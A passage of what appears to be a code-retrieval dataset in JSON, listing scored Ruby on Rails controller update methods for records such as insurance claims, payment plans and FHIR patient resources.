instance_variable_get(\"@#{get_resource_name}\"), errors: @errors}.to_json, status: 404\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d968dbd4c6e62b8a3d75c2d4d4699b5e",
"score": "0.55842495",
"text": "def update\n respond_to do |format|\n if @plan_resumo.update(plan_resumo_params)\n format.html { redirect_to @plan_resumo, notice: 'Plan resumo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan_resumo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c69ef5a559fc65f554a105367e861e52",
"score": "0.55799264",
"text": "def update\n# @requests_cloning = Requests::Cloning.find(params[:id])\n\n respond_to do |format|\n if @requests_cloning.update(requests_cloning_params)\n #Generarte PDF\n filename = \"public/pdf/#{'%.6d' % @requests_cloning.id}_pcr.pdf\"\n PdfGenerator.request(@requests_cloning, filename)\n format.html { redirect_to @requests_cloning, notice: t('notices.updated_successfully') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @requests_cloning.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"title": ""
},
{
"docid": "3c9afb1f29179719fb7a43af2782bb1b",
"score": "0.5571273",
"text": "def update\n if request.patch?\n status_unsupported_media_type && return unless content_type_header?('application/json-patch+json')\n\n # Parse in the JSON patch\n request_body = request.body.read\n patch = Hana::Patch.new(JSON.parse(request_body))\n else\n status_unsupported_media_type && return unless content_type_header?('application/fhir+json')\n\n # Parse in the FHIR\n request_body = request.body.read\n contents = FHIR.from_contents(request_body) if request_body.present?\n errors = contents&.validate\n status_bad_request(format_fhir_validation_errors(errors)) && return if contents.nil? || !errors.empty?\n end\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n return if doorkeeper_authorize!(*PATIENT_WRITE_SCOPES)\n\n # Get the patient that needs to be updated\n patient = get_patient(params.permit(:id)[:id])\n status_forbidden && return if patient.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(patient, patch) if request.patch?\n\n # Get patient values before updates occur for later comparison\n patient_before = patient.dup\n\n # Get key value pairs from the update.\n # fhir_map is of the form:\n # { attribute_name: { value: <converted-value>, path: <fhirpath-to-corresponding-fhir-element> } }\n fhir_map = patient_from_fhir(contents, default_patient_jurisdiction_id)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity(nil, nil, nil) && return if request_updates.nil?\n\n # Assign any remaining updates to the patient\n # NOTE: The patient.update method does not allow a context to be passed, so first we assign the updates, then save\n patient.assign_attributes(request_updates)\n\n # Wrap updates to the Patient, Transfer creation, and History creation in a transaction\n # so that they occur atomically\n ActiveRecord::Base.transaction do\n # Verify that the updated jurisdiction and other updates are valid\n unless jurisdiction_valid_for_update?(patient) && patient.save(context: :api) && fhir_map.all? { |_k, v| v[:errors].blank? }\n req_json = request.patch? ? patient.as_fhir.to_json : JSON.parse(request_body)\n status_unprocessable_entity(patient, fhir_map, req_json) && return\n end\n\n # If the jurisdiction was changed, create a Transfer\n if request_updates&.keys&.include?(:jurisdiction_id) &&\n !request_updates[:jurisdiction_id].nil? &&\n patient_before.jurisdiction_id != patient.jurisdiction_id\n Transfer.create!(patient: patient, from_jurisdiction: patient_before.jurisdiction, to_jurisdiction: patient.jurisdiction, who: @current_actor)\n end\n\n # Handle creating history items based on all of the updates\n update_all_patient_history(request_updates, patient_before, patient)\n end\n\n status_ok(patient.as_fhir) && return\n when 'relatedperson'\n return if doorkeeper_authorize!(*RELATED_PERSON_WRITE_SCOPES)\n\n # Get the CloseContact that needs to be updated\n close_contact = get_record(CloseContact, params.permit(:id)[:id])\n status_forbidden && return if close_contact.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(close_contact, patch) if request.patch?\n\n update_record(*update_model_from_fhir(close_contact, contents, :close_contact_from_fhir), request_body, :close_contact_edit, 'close contact')\n\n status_ok(close_contact.as_fhir) && return\n when 'immunization'\n return if doorkeeper_authorize!(*IMMUNIZATION_WRITE_SCOPES)\n\n # Get the Vaccine that needs to be updated\n vaccine = get_record(Vaccine, params.permit(:id)[:id])\n status_forbidden && return if vaccine.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(vaccine, patch) if request.patch?\n\n update_record(*update_model_from_fhir(vaccine, contents, :vaccine_from_fhir), request_body, :vaccination_edit, 'vaccination')\n\n status_ok(vaccine.as_fhir) && return\n when 'observation'\n return if doorkeeper_authorize!(*OBSERVATION_WRITE_SCOPES)\n\n # Get the Lab that needs to be updated\n lab = get_record(Laboratory, params.permit(:id)[:id])\n status_forbidden && return if lab.nil?\n\n # Get the contents from applying a patch, if needed\n contents = apply_patch(lab, patch) if request.patch?\n\n update_record(*update_model_from_fhir(lab, contents, :laboratory_from_fhir), request_body, :lab_result_edit, 'lab result')\n\n status_ok(lab.as_fhir) && return\n else\n status_not_found && return\n end\n rescue JSON::ParserError\n status_bad_request(['Invalid JSON in request body'])\n end",
"title": ""
},
{
"docid": "1facc3b5c1a27e48547c8d18fe79b3f3",
"score": "0.55704314",
"text": "def rate_change_update\n params.permit!\n ids=params[\"ids\"]\n credit_amount=params[\"credit_amount\"]\n credit_number=params[\"credit_num\"]\n credit_date=params[\"credit_date\"]\n remark=params[\"remarks\"]\n #adjust_quantity=params[\"adjust_quantity\"]\n actual_amount=params[\"actual_amount\"]\n (0..(ids.count-1)).map{|i| Adjustment.create(credit_amount: credit_amount[i], credit_note_num: credit_number[i], credit_date: credit_date[i], remark: remark[i], claim_product_type: \"RateChange\", claim_product_id: ids[i],actual_amount:actual_amount[i]); settle_amount=RateChange.find(ids[i]).settled_amount.to_f + credit_amount[i].to_f; rate_change=RateChange.find(ids[i]); rate_change.update(settled_amount: settle_amount); (rate_change.claim_amount.to_f <= rate_change.settled_amount.to_f) ? rate_change.update(:amount_status=>1) : \"\" }\nend",
"title": ""
},
{
"docid": "44cf21d9c58f83ac3803f9839d6bb50e",
"score": "0.5569136",
"text": "def update\n authorize :resquest_criminal, :update?\n respond_to do |format|\n if @resquest_criminal.update(resquest_criminal_params)\n format.html { redirect_to @resquest_criminal, notice: 'Resquest criminal was successfully updated.' }\n format.json { render :show, status: :ok, location: @resquest_criminal }\n else\n format.html { render :edit }\n format.json { render json: @resquest_criminal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e34c8f571c160fd7fc342c06e64a4adc",
"score": "0.5567069",
"text": "def update\n @ref_consult_request = RefConsultRequest.find(params[:id])\n\n respond_to do |format|\n if @ref_consult_request.update_attributes(params[:ref_consult_request])\n format.html { redirect_to @ref_consult_request, notice: 'Ref consult request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ref_consult_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1cc44a7ecae9f8c5c7e99494e486894",
"score": "0.556454",
"text": "def update\n @sub_rep.update(sub_rep_params)\n render json: @sub_rep\n end",
"title": ""
},
{
"docid": "02bc216f762a242e721daa822bcbedb3",
"score": "0.5561719",
"text": "def update\n\n @surgery_type.surgery_recipe_reqs\n respond_to do |format|\n if @surgery_type.update(surgery_type_params)\n redirect_to root_path\n else\n format.html { render :edit }\n format.json { render json: @surgery_type.errors, status: :unprocessable_entity }\n end\n end\n # @surgery_type.surgery_recipe_reqs.where(supply_list_id: params[:id]).each do |srr|\n # srr.update!(qty: params[:surgery_recipe_req][:qty])\n # end\n end",
"title": ""
},
{
"docid": "ea1643a2f1b07865d5abd2344107c6dd",
"score": "0.5561615",
"text": "def update\n @claim = Claim.find(params[:id])\n\n respond_to do |format|\n if @claim.update_attributes(params[:claim])\n if @claim.step == 1\n if @claim.claim_type == 'Loss / Theft' || @claim.claim_type == 'Theft / Loss'\n CustomerMailer.claim_registration(@claim).deliver\n else\n CustomerMailer.claim_registration(@claim).deliver\n end\n\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n service = ClaimService.new\n service.notify_customer @claim\n elsif @claim.step == 2 || @claim.step == 3\n format.html { render action: \"dealer_show\", notice: 'Claim was forwarded to KOIL team.' }\n elsif @claim.step == 4\n service = ClaimService.new\n if params[:commit] == \"Approve\"\n @claim.authorized = true\n else\n @claim.authorized = false\n end\n @claim.settlement_date = Time.now()\n @claim.status = 'Settled'\n @claim.policy.status = 'Expired'\n if @claim.is_theft?\n policy = @claim.policy\n policy.expiry = @claim.incident_date\n policy.save!\n end\n if @claim.is_damage? && @claim.authorized\n if [email protected]_can_fix\n policy = @claim.policy\n policy.expiry = @claim.incident_date\n policy.save!\n end\n end\n @claim.save!\n service.resolve_claim @claim\n format.html { render action: \"claims_show\", notice: 'Claim has been finalized' }\n end\n format.json { head :no_content }\n else\n if @claim.policy.insured_device.damaged_flag\n @claim.policy.insured_device.save!\n end\n format.html { render action: \"edit\" }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf7857a9ce65e3603d2822e8d0378a14",
"score": "0.55539775",
"text": "def update\n\n customer_plan_params[:plan_type] = customer_plan_params[:allergy_type].to_i\n customer_plan_params[:prior_authorization_type] = customer_plan_params[:prior_authorization_type].to_i\n customer_plan_params[:relationship_code] = customer_plan_params[:relationship_code].to_i\n customer_plan_params[:accounting_method] = customer_plan_params[:accounting_method].to_i\n customer_plan_params[:payor_type] = customer_plan_params[:payor_type].to_i\n\n respond_to do |format|\n if @customer_plan.update(customer_plan_params)\n format.html { redirect_to @customer_plan, notice: 'Customer plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @customer_plan }\n else\n format.html { render :edit }\n format.json { render json: @customer_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ca92820129a5e0ef166100435d324a8",
"score": "0.5552109",
"text": "def claim_update\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in claims claim_update Updated\"\n begin\n if params[\"claim\"][\"type_of_claim\"].present?\n key=params[\"claim\"][\"type_of_claim\"].keys\n value=params[\"claim\"][\"type_of_claim\"].values\n (0..key.count-1).map{|i| Claim.find(key[i]).update(:type_of_claim=>value[i]) } \n end \n if params[\"claim\"][\"status\"].present?\n key1=params[\"claim\"][\"status\"].keys\n value1=params[\"claim\"][\"status\"].values\n (0..key1.count-1).map{|i| Claim.find(key1[i]).update(:status=>value1[i]) } \n end \n render json: true\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : claim_update Updated Successfully\"\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} claims_controller claim_update method\" }\n end\nend",
"title": ""
},
{
"docid": "ba2ed9489ca76951805d198d89e6c566",
"score": "0.5552056",
"text": "def update\n recipe= Recipe.find(params[:id])\n respond_with recipe.update(rate:params[:rate])\n end",
"title": ""
},
{
"docid": "ec5bd3c7f27e6465b30d8cb1e6e7ad77",
"score": "0.5546206",
"text": "def update\n @mcr_atr = McrAtr.find(params[:id])\n\n respond_to do |format|\n if @mcr_atr.update_attributes(params[:mcr_atr])\n format.html { redirect_to @mcr_atr, notice: 'Mcr atr was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mcr_atr.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d9f6b153340f1f95c4620708ed48d4f",
"score": "0.55443525",
"text": "def update\n @code = Code.find(params[:id])\n\n respond_to do |format|\n if @code.update_attributes(params[:code])\n format.html { redirect_to(@code, :notice => 'Code was successfully updated.') }\n format.xml { head :ok }\n format.json {\n\t\t\tparmas['factors'].each do |factor|\n\t\t\t\tcode_factor = CodeFactor.new\n\t\t\t\tcode_factor.name = factor.name\n\t\t\t\tcode_factor.code_id = @code.id\n\t\t\t\tcode_factor.save\n\t\t\tend \n\n\t\t\thead :ok \n\t\t}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @code.errors, :status => :unprocessable_entity }\n format.json { render :json => @code.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b9cd49b0f81757fb031205c0a0f39eb",
"score": "0.5541474",
"text": "def update\n @bussiness_plan = BussinessPlan.find(params[:id])\n\n respond_to do |format|\n if @bussiness_plan.update_attributes(params[:bussiness_plan])\n format.html { redirect_to @bussiness_plan, notice: 'El plan de negocio se modifico satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bussiness_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d61a25d69ed10b03601d4f17ba7d9ef3",
"score": "0.5536806",
"text": "def update\n #RAILS_DEFAULT_LOGGER.debug(\"******** REST Call to CRMS: Updating #{self.class.name}:#{self.id}\")\n #RAILS_DEFAULT_LOGGER.debug(caller[0..5].join(\"\\n\")) \n response = connection.put(element_path(prefix_options), to_xml, self.class.headers)\n save_nested\n load_attributes_from_response(response)\n merge_saved_nested_resources_into_attributes\n response\n end",
"title": ""
},
{
"docid": "8f05447e12c0617e8c1fed06cd95711b",
"score": "0.5536624",
"text": "def update\n respond_to do |format|\n Rails.logger.info 'Update - ' + @srp_request.to_s\n if @srp_request.status == 0\n Rails.logger.info \"Generate payment_id\"\n @srp_request.payment_id = $server_id + @srp_request.id\n end\n if @srp_request.update(srp_request_params)\n format.html { redirect_to @srp_request, notice: 'Srp request was successfully updated.' }\n format.json { render :show, status: :ok, location: @srp_request }\n else\n format.html { render :edit }\n format.json { render json: @srp_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b915317bafa3e1970b52fa0da732e07c",
"score": "0.55252814",
"text": "def update\n @recip = Recip.find(params[:id])\n\n if @recip.update(recip_params)\n head :no_content\n else\n render json: @recip.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cf349d235658fb07601f42aae5c6fb76",
"score": "0.5524875",
"text": "def update\n entry = Entry.find(params[:id])\n\n if entry.update_attributes(params.slice(:amount, :notes, :expenditure_date, :budget_id))\n render :json => entry\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4a42874ac1a0ffec714a7f7a6fded316",
"score": "0.5524844",
"text": "def update\n respond_to do |format|\n if @paymentplanfeature.update(paymentplanfeature_params)\n format.html { redirect_to @paymentplanfeature, notice: 'Rate-Function was successfully updated.' }\n format.json { render json: @paymentplanfeature.fieldvalue }\n else\n format.html { render action: 'edit' }\n format.json { render json: @paymentplanfeature.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "499282d25666fc4dfc52de4c85c5ed79",
"score": "0.5520563",
"text": "def rate_change_adjustment\n @rate_change=JSON.parse RestClient.get $api_service+\"/claims/rate_change_claim_no?claim_no=#{params[:claim_no]}\" \n end",
"title": ""
},
{
"docid": "358ef82e4474bdda00fa68a6398babf9",
"score": "0.551919",
"text": "def update\n @rebalance_ref = RebalanceRef.find(params[:id])\n\n respond_to do |format|\n if @rebalance_ref.update_attributes(params[:rebalance_ref])\n format.html { redirect_to @rebalance_ref, notice: 'Rebalance ref was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rebalance_ref.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b10cf441e785f7122aed10f705700c4",
"score": "0.55124396",
"text": "def update\n @rrabat = Rrabat.find(params[:id])\n\n respond_to do |format|\n if @rrabat.update_attributes(params[:rrabat])\n format.html { redirect_to @rrabat, notice: 'Rrabat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rrabat.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0643bfb5aa6d0a684ea010f1b7c34ded",
"score": "0.55112356",
"text": "def update\n @breadcrumb = 'update'\n @billable_concept = BillableConcept.find(params[:id])\n @billable_concept.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @billable_concept.update_attributes(params[:billable_concept])\n format.html { redirect_to @billable_concept,\n notice: (crud_notice('updated', @billable_concept) + \"#{undo_link(@billable_concept)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @billable_concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01051e74ed60c40ff3fd189f922f5b72",
"score": "0.5509472",
"text": "def update\n @minimum_requirement = MinimumRequirement.find(params[:id])\n\n respond_to do |format|\n if @minimum_requirement.update_attributes(params[:minimum_requirement])\n format.html { redirect_to @minimum_requirement, notice: 'Minimum requirement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @minimum_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d890cd482b4e389344bb78c97cd31e9",
"score": "0.5508638",
"text": "def update\n\n error = false\n races_initial_ability_params.each do |ability_name,value|\n @ability = Ability.find_by(name: ability_name)\n @init = @race.initial_abilities.find_by(ability: @ability)\n if @init\n if value.size > 0\n @init.value = value\n @init.save\n else\n @init.destroy\n end\n else\n @init = RacesInitialAbility.new\n @init.race = @race\n @init.ability = @ability\n @init.value = value\n @init.save\n end\n end\n\n respond_to do |format|\n if error\n format.html { render :edit }\n format.json { head :no_content }\n else\n format.html { redirect_to @init, notice: 'Projects monthly allocation was successfully updated.' }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "8f0e9198cadc1c0bb498617361c834d2",
"score": "0.5508461",
"text": "def update\n respond_to do |format|\n if @performance_factor_entry.update(performance_factor_entry_params)\n format.html { redirect_to @performance_factor_entry, notice: 'Performance factor entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @performance_factor_entry }\n else\n format.html { render :edit }\n format.json { render json: @performance_factor_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d85e9fce256fd31e34fa386197e2298",
"score": "0.550714",
"text": "def update\n @rating_factor = RatingFactor.find(params[:id])\n\n respond_to do |format|\n if @rating_factor.update_attributes(params[:rating_factor])\n format.html { redirect_to(@rating_factor, :notice => 'RatingFactor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rating_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a2e44092e8e9289515ad9c9bac464bc",
"score": "0.55064845",
"text": "def update\n respond_to do |format|\n if @factoriall.update(factoriall_params)\n format.html { redirect_to @factoriall, notice: 'Factoriall was successfully updated.' }\n format.json { render :show, status: :ok, location: @factoriall }\n else\n format.html { render :edit }\n format.json { render json: @factoriall.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db280714f42b83990a69be8fef41b8de",
"score": "0.5503607",
"text": "def update\n respond_to do |format|\n if @api_v1_pending.update(api_v1_pending_params)\n format.html { redirect_to @api_v1_pending, notice: 'Pending was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_pending }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_pending.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bfffefb2433840a4115fb73071c37b9b",
"score": "0.55015236",
"text": "def update(model_name, model_id, data, options = {})\n url = get_brpm_url(model_name, model_id)\n options[\"data\"] = data\n result = Rest.put(url, options)\n result\n end",
"title": ""
},
{
"docid": "207bb880e23adb8302c0db2bfc0f1164",
"score": "0.5499358",
"text": "def update\n if @rtable.update(rtable_params)\n render json: @rtable\n else\n render json: @rtable.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c1988bd28288f86afa320a5f29275998",
"score": "0.54969066",
"text": "def update\n respond_to do |format|\n if @taf_item.update(taf_item_params)\n \n @taf_item.update(ba_reason: taf_item_params[:ba_reason])\n @taf_item.update(budget_approver_id: current_account.accountable_id)\n\n if current_account.accountable_type == \"Employee\"\n @taf_item.update(ba_reason: nil)\n @taf_item.update(ba_approval: false)\n end\n\n if taf_item_params[:dept] == \"QA\"\n @taf_item.update(dept: 1)\n elsif taf_item_params[:dept] == \"RnD\"\n @taf_item.update(dept: 2)\n else\n @taf_item.update(dept: 3)\n end\n \n if @taf_item.ba_approval == true\n @total = @taf.total_estimated_amount+=@taf_item.estimated_amount\n @dpt = Department.find(@taf_item.dept)\n @dpt.update(available_funds: (@dpt.available_funds - @taf_item.estimated_amount))\n else\n @dpt = Department.find(@taf_item.dept)\n @dpt.update(available_funds: (@dpt.available_funds + @taf_item.estimated_amount))\n end\n \n \n format.html { redirect_back(fallback_location: :back) }\n format.json { render :show, status: :ok, location: @taf_item }\n else\n format.html { render :edit }\n format.json { render json: @taf_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5306e50831b75147f42e2b5071610766",
"score": "0.5496466",
"text": "def update\n respond_to do |format|\n if @payment_req.update(payment_req_params)\n format.html { redirect_to @payment_req, notice: 'Payment req was successfully updated.' }\n format.json { render :show, status: :ok, location: @payment_req }\n else\n format.html { render :edit }\n format.json { render json: @payment_req.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec2e2f58b564a5b47bc6d9b6f6b58bf8",
"score": "0.54952735",
"text": "def update\n\n rxoption_params[:cost_report_option] = rxoption_params[:cost_report_option].to_i\n rxoption_params[:switch_type] = rxoption_params[:switch_type].to_i\n rxoption_params[:erx_interface] = rxoption_params[:erx_interface].to_i\n rxoption_params[:default_paytype_option] = rxoption_params[:default_paytype_option].to_i\n rxoption_params[:system_type] = rxoption_params[:system_type].to_i\n rxoption_params[:system_network_type] = rxoption_params[:system_network_type].to_i\n\n respond_to do |format|\n if @rxoption.update(rxoption_params)\n format.html { redirect_to @rxoption, notice: 'Rxoption was successfully updated.' }\n format.json { render :show, status: :ok, location: @rxoption }\n else\n format.html { render :edit }\n format.json { render json: @rxoption.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f0bb37b3c742c03db2a73e4394cfe447",
"score": "0.5493909",
"text": "def update\n @breadcrumb = 'update'\n @debt_claim = DebtClaim.find(params[:id])\n @debt_claim.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @debt_claim.update_attributes(params[:debt_claim])\n format.html { redirect_to @debt_claim,\n notice: (crud_notice('updated', @debt_claim) + \"#{undo_link(@debt_claim)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @debt_claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67476817efc5b6d377dcd8465ed8ceea",
"score": "0.54870313",
"text": "def update\n respond_to do |format|\n if @c_restum.update(c_restum_params)\n format.html { redirect_to @c_restum, notice: 'C restum was successfully updated.' }\n format.json { render :show, status: :ok, location: @c_restum }\n else\n format.html { render :edit }\n format.json { render json: @c_restum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ff7d0d63a88c26f69982213dfaf6a160",
"score": "0.54822284",
"text": "def update\n @stage_reproductive_strategy = StageReproductiveStrategy.find(params[:id])\n\n respond_to do |format|\n if @stage_reproductive_strategy.update_attributes(params[:stage_reproductive_strategy])\n format.html { redirect_to @stage_reproductive_strategy, notice: 'Stage reproductive strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_reproductive_strategy.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f3e411e1c4a4642df154633e57475cb",
"score": "0.5481506",
"text": "def update\n respond_to do |format|\n if @coefficient.update(coefficient_params)\n format.html { render :partial => \"row_table\", :locals => {:coefficient => @coefficient} }\n else\n format.json { render :json => { :errors => @coefficient.errors }, :status => 409 }\n end\n end\n end",
"title": ""
},
{
"docid": "2f6b7fdbe68deb21fb25452d1782b335",
"score": "0.5480021",
"text": "def update\n\n claim_cob_response_params[:payor_id_qualifier] = claim_cob_response_params[:payor_id_qualifier].to_i\n\n respond_to do |format|\n if @claim_cob_response.update(claim_cob_response_params)\n format.html { redirect_to @claim_cob_response, notice: 'Claim cob response was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_cob_response }\n else\n format.html { render :edit }\n format.json { render json: @claim_cob_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e7f56eb1e62b28a791b8dded85ac5c5",
"score": "0.547237",
"text": "def update_rest\n @v1_item_usage = V1ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @v1_item_usage.update_attributes(params[:v1_item_usage])\n flash[:notice] = 'V1ItemUsage was successfully updated.'\n format.html { redirect_to(@v1_item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @v1_item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19f598f1e6737f0209e5e45649d6f3ac",
"score": "0.5470025",
"text": "def update\n @breadcrumb = 'update'\n @debt_claim_status = DebtClaimStatus.find(params[:id])\n @debt_claim_status.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @debt_claim_status.update_attributes(params[:debt_claim_status])\n format.html { redirect_to @debt_claim_status,\n notice: (crud_notice('updated', @debt_claim_status) + \"#{undo_link(@debt_claim_status)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @debt_claim_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea467efd869780c286759bb41e4ce0b4",
"score": "0.54679334",
"text": "def update\n respond_to do |format|\n if @evaluation_factor.update(evaluation_factor_params)\n format.html { redirect_to @evaluation_factor, notice: 'Fator de avaliação atualizado.' }\n format.json { render :show, status: :ok, location: @evaluation_factor }\n else\n format.html { render :edit }\n format.json { render json: @evaluation_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b24f229ff7ba9e18c80a3b7d1871708",
"score": "0.5465071",
"text": "def update\n @asset_risk_mgt = AssetRiskMgt.find(params[:id])\n\n respond_to do |format|\n if @asset_risk_mgt.update_attributes(params[:asset_risk_mgt])\n format.html { redirect_to @asset_risk_mgt, notice: 'Asset risk mgt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asset_risk_mgt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a4de4cd28da8fc4e390ddf403f96936d",
"score": "0.5464784",
"text": "def update\n @datacenter_node_rack_assignment = @object\n datacenter = @datacenter_node_rack_assignment.datacenter\n return unless filter_perms(@auth,datacenter,'updater')\n node_rack = @datacenter_node_rack_assignment.node_rack\n return unless filter_perms(@auth,node_rack,'updater')\n\n respond_to do |format|\n if @datacenter_node_rack_assignment.update_attributes(params[:datacenter_node_rack_assignment])\n flash[:notice] = 'DatacenterNodeRackAssignment was successfully updated.'\n format.html { redirect_to datacenter_node_rack_assignment_url(@datacenter_node_rack_assignment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @datacenter_node_rack_assignment.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43e8f0bca4534c5f973451762b036fb9",
"score": "0.5459765",
"text": "def update\n respond_to do |format|\n if @api_v1_budget.update(api_v1_budget_params)\n format.html { redirect_to @api_v1_budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_budget }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ecb0269b11edfaafa6ed474d78c66b1",
"score": "0.54590625",
"text": "def update\n @factor.admin_id = current_admin.id\n @factor.description = params[:factor][:description]\n cost = Value.where(codeval_id: @factor.codeval_id, cost_id: @factor.cost_id).first.value\n @factor.factor = 100 * (params[:factor][:price].to_f - cost) / cost\n @factor.price = params[:factor][:price]\n\n if @factor.save\n redirect_to rate_path(@factor.rate_id), notice: 'Tarifa exitosamente actualizada.'\n else\n render :edit\n end\n end",
"title": ""
},
{
"docid": "e908df56ec6bbe3062d0025244773314",
"score": "0.54584444",
"text": "def update\n respond_to do |format|\n if @saprfc_mb1b.update(saprfc_mb1b_params)\n format.html { redirect_to @saprfc_mb1b, notice: 'Saprfc mb1b was successfully updated.' }\n format.json { render :show, status: :ok, location: @saprfc_mb1b }\n else\n format.html { render :edit }\n format.json { render json: @saprfc_mb1b.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7eec0109461b347363259cf6bdb52f08",
"score": "0.54450923",
"text": "def update\n @operations_check = OperationsCheck.find(params[:operations_check_id])\n @rt_check = @operations_check.rt_checks.find(params[:id])\n\n respond_to do |format|\n if @rt_check.update_attributes(rt_check_params)\n format.html { redirect_to @rt_check, notice: 'RT check was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rt_check.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cdd7b424ad7c222009ffa4760fb2c279",
"score": "0.5444907",
"text": "def update\n @pending_request = PendingRequest.find(params[:id])\n\n respond_to do |format|\n if @pending_request.update_attributes(params[:pending_request])\n format.html { redirect_to @pending_request, notice: 'Pending request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pending_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4538d3bc2fb726973944a8c8b49ccf37",
"score": "0.5441839",
